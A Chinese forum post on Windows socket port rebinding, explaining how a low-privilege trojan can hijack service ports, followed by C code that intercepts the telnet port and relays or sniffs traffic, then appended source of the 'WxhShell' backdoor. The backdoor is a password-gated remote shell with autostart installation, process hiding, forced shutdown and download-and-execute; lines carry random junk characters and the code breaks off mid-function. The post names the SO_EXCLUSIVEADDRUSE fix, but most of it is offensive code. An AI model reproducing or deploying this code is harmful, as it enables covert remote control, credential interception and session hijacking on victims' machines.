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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QBPvGnb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SG+i\yu$h0  
2=!3[> B  
  saddr.sin_family = AF_INET; 0c\|S>g [  
!mErt2UJl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P98X[0&  
:y O,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ==e#CSJq  
X,JWLS J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KHc/x8^9  
WV !kA_  
  这意味着什么?意味着可以进行如下的攻击: Fy(nu-W  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tmY-m,U  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hklO:,`  
nX.sh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dx?njR  
r3BDq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~D`oP/6  
S'%cf7Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t\|K"  
asmW W8lz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 abJ@>7V  
3qxG?G N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jFPE>F7-M  
J:mu%N`  
  #include (fk, 80  
  #include 2 Zjb/  
  #include ,T21z}r  
  #include    !ovZ>,1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cJ(zidf_$  
  int main() 1R+ )T'in  
  { c^[1]'y  
  WORD wVersionRequested; (zTI)EV  
  DWORD ret; = "hY{RUa  
  WSADATA wsaData; s>M~g,xTU  
  BOOL val; X-ki%jp3  
  SOCKADDR_IN saddr; HBga'xJ  
  SOCKADDR_IN scaddr; Sfr\%Buv  
  int err; lJ>QTZH!wW  
  SOCKET s; `6S=KRv  
  SOCKET sc; ,C'w(af@}  
  int caddsize; sh)) [V"8  
  HANDLE mt; @<w9fzi  
  DWORD tid;   vA7jZw  
  wVersionRequested = MAKEWORD( 2, 2 ); A2O_pbQti  
  err = WSAStartup( wVersionRequested, &wsaData ); "TH-A6v1  
  if ( err != 0 ) { O"s`-OM;n  
  printf("error!WSAStartup failed!\n"); ^* /v,+01f  
  return -1; 3W0E6H"  
  } 1~xn[acy  
  saddr.sin_family = AF_INET; { d2f)ra.  
   |>o0d~s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6L6~IXL>  
-JQg ~1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }A'<?d8   
  saddr.sin_port = htons(23); .L(j@I t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 18w^7!F?~u  
  { g7}z &S ;_  
  printf("error!socket failed!\n"); SeJFZ0p  
  return -1; k4AE`[UE  
  } [TfV2j* e  
  val = TRUE; KutgW#+40  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 : $52Ds!i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I9G*iu=U   
  { /&!d  
  printf("error!setsockopt failed!\n"); ZEyGqCf3  
  return -1; R#Nd|f<  
  } oQjB&0k4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &_^*rD~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @Jn:!8U0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^(m6g&$(  
[?f.0q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g /@yK  
  { UG?C=Tf  
  ret=GetLastError(); 5@Lxbe( q  
  printf("error!bind failed!\n"); 0) Um W{  
  return -1; VU0tyj$  
  } 'hi\98y  
  listen(s,2); :iNAXy  
  while(1) 5iI3u 7Mn1  
  { .bBQhf.&"  
  caddsize = sizeof(scaddr); ]pP2c[;  
  //接受连接请求 16> >4U:Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 674oL,  
  if(sc!=INVALID_SOCKET) -S3+ h$Y8  
  { a4CNPf<$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tDLk ZCP  
  if(mt==NULL) Qx,$)|_  
  { 3(GrDO9^  
  printf("Thread Creat Failed!\n"); yjFQk,A  
  break; 2:5gMt  
  } \/4%[Q2QDm  
  } S{)n0/_  
  CloseHandle(mt); >]Yha}6h  
  } ZO0]+Ko  
  closesocket(s); E+c3KqM  
  WSACleanup(); z&vms   
  return 0; Qu>zO!x  
  }   rn5g+%jX*  
  DWORD WINAPI ClientThread(LPVOID lpParam) UoS;!}l  
  { ]GR q  
  SOCKET ss = (SOCKET)lpParam; ._8cJf.ae  
  SOCKET sc; = SJF \Z  
  unsigned char buf[4096]; %iS]+Sa.K  
  SOCKADDR_IN saddr; (*WZsfk>/<  
  long num; wukos5  
  DWORD val; ?G>TaTiK#  
  DWORD ret; #bZ=R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w~KBk)!*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jhbH6=f4]^  
  saddr.sin_family = AF_INET; utl=O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GGL4<P7  
  saddr.sin_port = htons(23); wfTv<WG,.E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?uX6X'-  
  { v9`B.(Ru  
  printf("error!socket failed!\n"); =bg&CZV T  
  return -1; Fx:en|g  
  } tKsM}+fq  
  val = 100; /FV6lR!0^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0#{]!>R  
  { YB1DL ^ :  
  ret = GetLastError(); _ * s  
  return -1; qe"6#@b *|  
  } <07W&`Dw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sr@XumT  
  { }_/h~D9-T#  
  ret = GetLastError(); &c9Fw:f;  
  return -1; [,$mpJCI  
  } K}/`YDu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WJ8vHPSM  
  { f=O>\  
  printf("error!socket connect failed!\n"); g+r{>x  
  closesocket(sc); BCZnF /Zo  
  closesocket(ss); PZg]zz=V4  
  return -1; uvv-lAbjw  
  } ` "":   
  while(1) St&HE:  
  { .:!x*v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -XIvj'u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y$9 t!cx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dB/I2uGl>  
  num = recv(ss,buf,4096,0); "v(]"L  
  if(num>0) `/ReJj&~  
  send(sc,buf,num,0); uWtS83i  
  else if(num==0) )[X!/KR90  
  break; iwjl--)@K  
  num = recv(sc,buf,4096,0); 5qfKV&D  
  if(num>0) 9l_?n@   
  send(ss,buf,num,0); (C|V-}/*m  
  else if(num==0) "<$vU_  
  break; t}+c/ C%b=  
  } !,!tNs1 K  
  closesocket(ss); ;~$ $WU  
  closesocket(sc); 7:q-NzE\6  
  return 0 ; Or) c*.|\  
  } n]c,0N  
*xTquV$  
JU1; /3(  
========================================================== #&c;RPac!6  
HFWm}vA:  
下边附上一个代码,,WXhSHELL &:f'{>3z  
#(J}xz;  
========================================================== 7{F9b0zwk  
7#. PMyK9  
#include "stdafx.h" l"y9XO|  
= d.W'q|  
#include <stdio.h> A2_3zrE  
#include <string.h> %_O>Hy|p  
#include <windows.h> <G?85*Nv_  
#include <winsock2.h> 6-}e-H  
#include <winsvc.h> 7:E#c"S q  
#include <urlmon.h> 6Q.whV%y  
>,vW  
#pragma comment (lib, "Ws2_32.lib") ?'m5)Z{  
#pragma comment (lib, "urlmon.lib") vUx$[/<  
T\CQ  
#define MAX_USER   100 // 最大客户端连接数 @Hdg-f>y]  
#define BUF_SOCK   200 // sock buffer (`/i1#nR  
#define KEY_BUFF   255 // 输入 buffer Z@O e}\.$  
6v)eM=   
#define REBOOT     0   // 重启 ^F9zS `Yz2  
#define SHUTDOWN   1   // 关机 R*eM 1  
2#}IGZ`Yp/  
#define DEF_PORT   5000 // 监听端口 qA/ 3uA!z  
b+apNph  
#define REG_LEN     16   // 注册表键长度 `^k<.O  
#define SVC_LEN     80   // NT服务名长度 MtTHKp   
T sW6w  
// 从dll定义API _?LI0iIFx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yZaDNc9'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0%j; yzQ<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); } U1shG[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qh%vh ;|^  
jN>UW}?  
// wxhshell配置信息 Y,}43a0A  
struct WSCFG { J uKaRR~  
  int ws_port;         // 监听端口 ,?~,"IQyi[  
  char ws_passstr[REG_LEN]; // 口令 CGl+!t{  
  int ws_autoins;       // 安装标记, 1=yes 0=no irj}:f;!eF  
  char ws_regname[REG_LEN]; // 注册表键名 |ema-pRC  
  char ws_svcname[REG_LEN]; // 服务名 , )3+hnFY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2dW-WHaM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g c=|< (  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -3U} (cZ*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7B"aFnK;[J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )WJI=jl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )3 ">%1R  
oYx f((x  
}; 98nLj9  
[/j-d  
// default Wxhshell configuration GQxJ (f  
struct WSCFG wscfg={DEF_PORT, 0Hf-~6  
    "xuhuanlingzhe", 481u1  
    1, N Z9,9  
    "Wxhshell", k rjd:*E  
    "Wxhshell", baGI(Dk  
            "WxhShell Service", k-0e#"B  
    "Wrsky Windows CmdShell Service", uRhH_c-6C  
    "Please Input Your Password: ",  PMZzzZ  
  1, K%_JQ0`  
  "http://www.wrsky.com/wxhshell.exe", ,{t!->K  
  "Wxhshell.exe" 4HmRsOl  
    }; 1&E&8In]$r  
W7> _nK+g?  
// 消息定义模块 H8k| >4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .W:], 5e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cu|q &  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'Q,<_ L"  
char *msg_ws_ext="\n\rExit."; 8Wp1L0$B  
char *msg_ws_end="\n\rQuit."; CMUphS-KE  
char *msg_ws_boot="\n\rReboot..."; `&JA7UD>  
char *msg_ws_poff="\n\rShutdown..."; Py<vN!  
char *msg_ws_down="\n\rSave to "; <-7Ha_#  
x9s`H)  
char *msg_ws_err="\n\rErr!"; 13 p0w  
char *msg_ws_ok="\n\rOK!"; ]2 N';(R  
36UW oo  
char ExeFile[MAX_PATH]; Yb/^Qk59  
int nUser = 0; ^>uGbhBp  
HANDLE handles[MAX_USER]; ^T>.04";x  
int OsIsNt; :7*\|2zA  
wO N Qlt  
SERVICE_STATUS       serviceStatus; l]cQ7g5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y+h=x4t  
|9M y>8k(  
// 函数声明 Q"uu&JC  
int Install(void); aW5~z^I  
int Uninstall(void); i?9Lf  
int DownloadFile(char *sURL, SOCKET wsh); Pw1H) <X  
int Boot(int flag); kp"cHJNx  
void HideProc(void); -7Wmq[L /  
int GetOsVer(void); '.yr8  
int Wxhshell(SOCKET wsl); #}?$mxME*  
void TalkWithClient(void *cs); F@3,>~[%I  
int CmdShell(SOCKET sock); oaE3Aa  
int StartFromService(void); ]P^ +~  
int StartWxhshell(LPSTR lpCmdLine); 6Wp:W1E{`  
=wc[ r?7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hq8.O/Y"=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G9Ezm*I;:  
ST.W{:X   
// 数据结构和表定义 GV/FK{v5  
SERVICE_TABLE_ENTRY DispatchTable[] = RzRLrfV  
{ ' 'N@ <|  
{wscfg.ws_svcname, NTServiceMain}, j+seJg<_  
{NULL, NULL} )qe o`4+y  
}; ;rbn/6  
@,.H)\a4  
// 自我安装 dno*Usx5d0  
int Install(void) ,B><la87  
{ Ho|n\7$  
  char svExeFile[MAX_PATH]; uqH ;1T;s  
  HKEY key; un=)k;oh  
  strcpy(svExeFile,ExeFile); o,I642R~  
L}+!<Ug  
// 如果是win9x系统,修改注册表设为自启动 j>zVC;Sj*  
if(!OsIsNt) { S/aPYrk>6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l.! ~t1i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oylw,*%  
  RegCloseKey(key); %yVZ|d*Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = %m/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T@.CwV  
  RegCloseKey(key); u@Lu.t!],  
  return 0; FSk:J~Z;  
    } X:5*LB\/v  
  } f5v|}gMAX  
} *']RYu?X  
else { @ck2j3J/  
6dp~19T^  
// 如果是NT以上系统,安装为系统服务 j!/(9*\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qzv_|U  
if (schSCManager!=0) +Oa1FvoEA  
{ 7Ll(,i<,C  
  SC_HANDLE schService = CreateService ?a}~yz#B(  
  ( :OM>z4mQ  
  schSCManager, \I=:,cz*,  
  wscfg.ws_svcname,  + h&V;  
  wscfg.ws_svcdisp, fA^O  
  SERVICE_ALL_ACCESS, z?^p(UH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %/y/,yd  
  SERVICE_AUTO_START, AJ /_l;  
  SERVICE_ERROR_NORMAL, }PJ:9<G y  
  svExeFile, 2ou?:5i  
  NULL, 60Z)AQs;+J  
  NULL, :H{8j}"  
  NULL, $) $sApB  
  NULL, #S5vX<"9  
  NULL RVe3@|9(G  
  );  xMU)  
  if (schService!=0) ~i4@sz&  
  { 5+r#]^eQY-  
  CloseServiceHandle(schService); Tq+pFEgQ`@  
  CloseServiceHandle(schSCManager); wP i=+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |(N4x(xl  
  strcat(svExeFile,wscfg.ws_svcname); +}n]A^&I\E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i F Ab"VA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5`J. ic  
  RegCloseKey(key); ,LvJ'N  
  return 0; @`yfft  
    } C-7.Sa  
  } `i-&Z`  
  CloseServiceHandle(schSCManager); ]iPdAwc.1  
} %rsW:nl  
} ]pt @  
S@_GjCpn  
return 1; ?@#<>7V  
} sXUM,h8$!+  
f &H` h  
// 自我卸载 G7yxCU(I\  
int Uninstall(void) L2N/DB'{  
{ TBpW/wz/  
  HKEY key; S}+n\pyQ  
LX8vVj8K  
if(!OsIsNt) { ~(c<ioIf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g8C+j6uR0  
  RegDeleteValue(key,wscfg.ws_regname); & 3gni4@@  
  RegCloseKey(key); vgV0a{u"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3yQ(,k#  
  RegDeleteValue(key,wscfg.ws_regname); t|/ /oEY  
  RegCloseKey(key); ~b+>o  
  return 0; ~_q\?pw<$L  
  } `is6\RH  
} w-1CA{"i7  
} 7]Z*]GRX  
else { 3^Ex_jeB  
sXFD]cF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iL(E`_I<  
if (schSCManager!=0) e&:fzO<~I  
{ +XQ6KG&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #f[yp=uI:  
  if (schService!=0)  QS!b]a3  
  { 6^ ~& sA  
  if(DeleteService(schService)!=0) { 0-@waK  
  CloseServiceHandle(schService); Z^sO`C  
  CloseServiceHandle(schSCManager); 7HzKjR=B  
  return 0; IL<5Suz:  
  } vUW!  
  CloseServiceHandle(schService); {W-PYHZ;  
  } IJ!UKa*o%  
  CloseServiceHandle(schSCManager); I++!F,pB  
} u3q!te  
} 7 >.^GD  
+ }^  
return 1; `jJb) z3D  
} :Qf^@TS}O  
6D$xG"c  
// 从指定url下载文件 P~~RK& +i  
int DownloadFile(char *sURL, SOCKET wsh) |(wx6H:  
{ k&Sg`'LG8  
  HRESULT hr; 8!1o,=I$  
char seps[]= "/"; % R'eV<  
char *token; 3vy5JTCz~  
char *file; j"f ]pzg&  
char myURL[MAX_PATH]; )%Y$F LB  
char myFILE[MAX_PATH]; XOxm<3gXn  
0j3j/={|.1  
strcpy(myURL,sURL); 7JujU.&{6  
  token=strtok(myURL,seps); /q]WV^H  
  while(token!=NULL) $jm'uDvm  
  { A/'G.H  
    file=token; Dhq7qz  
  token=strtok(NULL,seps); 0-=QQOART\  
  } HG Pbx$!  
f1JvP\I0Q  
GetCurrentDirectory(MAX_PATH,myFILE); /({5x[  
strcat(myFILE, "\\"); VRD2e ,K  
strcat(myFILE, file); Blu^\:?#z-  
  send(wsh,myFILE,strlen(myFILE),0); JAgec`T%  
send(wsh,"...",3,0); |u03~L9G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ yU e2Gd  
  if(hr==S_OK) RVD=CX  
return 0; rt"\\sOlMB  
else ,O2Uj3"  
return 1; K\ZKVn  
.[~E}O  
} ^b&aDm~(7  
nHA2p`T  
// 系统电源模块 Z";o{@p  
int Boot(int flag) Wc(?ezn  
{ A M# '(k(  
  HANDLE hToken; ZM<1;!i  
  TOKEN_PRIVILEGES tkp; z2-=fIr.h  
@~zhAU!  
  if(OsIsNt) { }UX>O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JBuorc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a-hF/~84S:  
    tkp.PrivilegeCount = 1; ym-212wl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hd4&"oeY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 55hJRm3  
if(flag==REBOOT) { [j&>dE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %uQ^mK  
  return 0; J`\%'pEn  
} B~z& "`  
else { eE1w<] Eg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *#~3\{  
  return 0; anv_I=  
} R D)dw  
  } ^5xY&1j  
  else { yBeSvsm  
if(flag==REBOOT) { SdN|-'qf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x_#yH3kJ  
  return 0; |rsu+0Mtz  
} ='>k|s:  
else { +i{&"o4}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :  wb\N'b  
  return 0; w!%Bc]  
} eml(F  
} yh} V u  
DLf6D | "  
return 1; [S'ngQ"f`  
} }&ZO q'B  
$YFn$.70\  
// win9x进程隐藏模块 .{~ygHQ`f  
void HideProc(void) /SSl$  
{ Hz28L$  
UtY< R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ktg6*L/  
  if ( hKernel != NULL ) XVE(p3-  
  { z9E*Mh(NE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E}yl@8g:#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r*y4Vx7  
    FreeLibrary(hKernel); 'Ko T8g\b  
  } :QB Wy  
c!E+&5|n  
return; KK/~W  
} _epi[zf@  
^+!!:J|ra  
// 获取操作系统版本 ^?w6  
int GetOsVer(void) F~z4T/TN%G  
{ 9^>nZ6  
  OSVERSIONINFO winfo; .z)&#2E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'd'*4 )]k  
  GetVersionEx(&winfo); ga0W;Vq&X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kx*=1AfU+Y  
  return 1; vxY7/_]  
  else Y[@$1{YS  
  return 0; m8#+w0p)  
} nQb{/ TqC'  
D CFYpkR%  
// 客户端句柄模块 `UGHk*DL)  
int Wxhshell(SOCKET wsl)  pb6z)8  
{ %E,s*=j  
  SOCKET wsh; @/yef3  
  struct sockaddr_in client; (hs[B4nV  
  DWORD myID; V;Te =4  
m'@NF--#Oq  
  while(nUser<MAX_USER) ^DM^HSm  
{ #|xK> ;  
  int nSize=sizeof(client); nu|;(ly  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %Gh!h4Pv  
  if(wsh==INVALID_SOCKET) return 1; ut fD$8UI  
!Zlvz%X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ney6N@  
if(handles[nUser]==0) Sycs u_je  
  closesocket(wsh); _T)dmhG  
else \k;*Ej~.  
  nUser++; rt^<=|Z  
  } !ku5P+y$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;WWUxrWif  
VYMs`d[  
  return 0; c"H*9u:  
} gfR B  
5$`ihO?  
// 关闭 socket 5W(G~m?jC6  
void CloseIt(SOCKET wsh) ok  iI:  
{ {?$-p%CF`8  
closesocket(wsh); Vd1.g{yPV  
nUser--; ?1JS*LQ$  
ExitThread(0); ULkjY1&  
} o!dTB,Molr  
3mIVNT@S9  
// 客户端请求句柄 &Vd,{JU  
void TalkWithClient(void *cs) 2*ZB[5_V  
{ \J.PrE'(}  
7 &DhEI ^  
  SOCKET wsh=(SOCKET)cs; &>XIK8*  
  char pwd[SVC_LEN]; eZ8~t/8  
  char cmd[KEY_BUFF]; 37Q9goMov  
char chr[1]; Z4b<$t[u  
int i,j; #"jEc*&=  
ckHHD|  
  while (nUser < MAX_USER) { h}nceH0s3d  
>T'^&l(:  
if(wscfg.ws_passstr) { CuR.a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wz`MEyj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hw-,sze j"  
  //ZeroMemory(pwd,KEY_BUFF); Tky\W%Ag  
      i=0; +vY8HQ|v  
  while(i<SVC_LEN) { R/VrBiw  
TyI"fP  
  // 设置超时 o4^rE<vJ  
  fd_set FdRead; %3M1zZY  
  struct timeval TimeOut; H.3+5 po  
  FD_ZERO(&FdRead); A'^y+42jY  
  FD_SET(wsh,&FdRead); 4 Z.G  
  TimeOut.tv_sec=8; tF}Vs}  
  TimeOut.tv_usec=0; c!{v/zOz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ROw9l!YF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vcm9:,Xlw  
-Jr6aai3+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X"0n*UTF,  
  pwd=chr[0]; 5ztHar~f  
  if(chr[0]==0xd || chr[0]==0xa) { 'Y Bz?l9  
  pwd=0; |gxT-ZM  
  break; Yw&{.<sL  
  } ,HO~NqmB4  
  i++; ;nW#Dn9  
    } Q ;V `  
$d? N("L  
  // 如果是非法用户,关闭 socket Hpo7diBE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $k5mI1~  
} ZJlmHlAX  
 } Wx#"6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !#wd~: H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x%Ivd  
B U |]4  
while(1) { ,<!_MNw[  
^vw? 4O  
  ZeroMemory(cmd,KEY_BUFF); V4@ HIM  
wH&[Tg  
      // 自动支持客户端 telnet标准   Z#0hh%E"|y  
  j=0; Y??8P  
  while(j<KEY_BUFF) { BIovPvq;i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WP{!|d&  
  cmd[j]=chr[0]; Xk8+  
  if(chr[0]==0xa || chr[0]==0xd) { _?$P?  
  cmd[j]=0; Q}.zE+  
  break; f4eLnY  
  } qw={gZ  
  j++; cyu)YxT  
    } Z:7X=t =  
YaI8hj@}  
  // 下载文件 Ry2rQM`  
  if(strstr(cmd,"http://")) { #!!Ea'3Iq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jLRUWg  
  if(DownloadFile(cmd,wsh)) WtlPgT;wE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;[9WB<t  
  else l8rBp87Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Pyeb`AXE9  
  } X-[_g!pV  
  else { U,q ]  
0kEz i  
    switch(cmd[0]) { gwHNz5 a*V  
  TNs ;#Q  
  // 帮助 }$EcNm$%  
  case '?': { vd+yU9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $#E?`At{I  
    break; CDOqdBQ  
  } N4y$$.uv2  
  // 安装 M8j%bmd(,  
  case 'i': { `uK_}Vy_  
    if(Install()) X$z@ *3=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Byq4PX%B  
    else Pt<lHfd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9*wS}A&Jh  
    break; gQHE2$i>  
    } MHZ!noAr  
  // 卸载 ,2hZtJ<A  
  case 'r': { mNUc g{ +/  
    if(Uninstall()) (5AgI7I,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aI @&x  
    else TXx%\V_6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B]jI^( P  
    break; >:7W.QLRU  
    } --Dd'  
  // 显示 wxhshell 所在路径 T 9lk&7W  
  case 'p': { V$e\84<  
    char svExeFile[MAX_PATH]; :$eg{IXC"  
    strcpy(svExeFile,"\n\r"); haj\Dm  
      strcat(svExeFile,ExeFile); G+Vlaa/7  
        send(wsh,svExeFile,strlen(svExeFile),0); O%:EPdoU  
    break; 1%W|>M`  
    } h!#!}|Q'  
  // 重启 r2,AZ+4FP  
  case 'b': { Sg$14B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |%6zhkoufM  
    if(Boot(REBOOT)) h ]'VAt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CH h]v.V  
    else { )./pS~  
    closesocket(wsh); &Uqm3z?v  
    ExitThread(0); P\#z[TuHKC  
    } ){=2td$=$  
    break; Q)pm3Wi  
    } K.CwtUt`54  
  // 关机 #)im9LLC#  
  case 'd': { 6OeRBD&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6@ `'}  
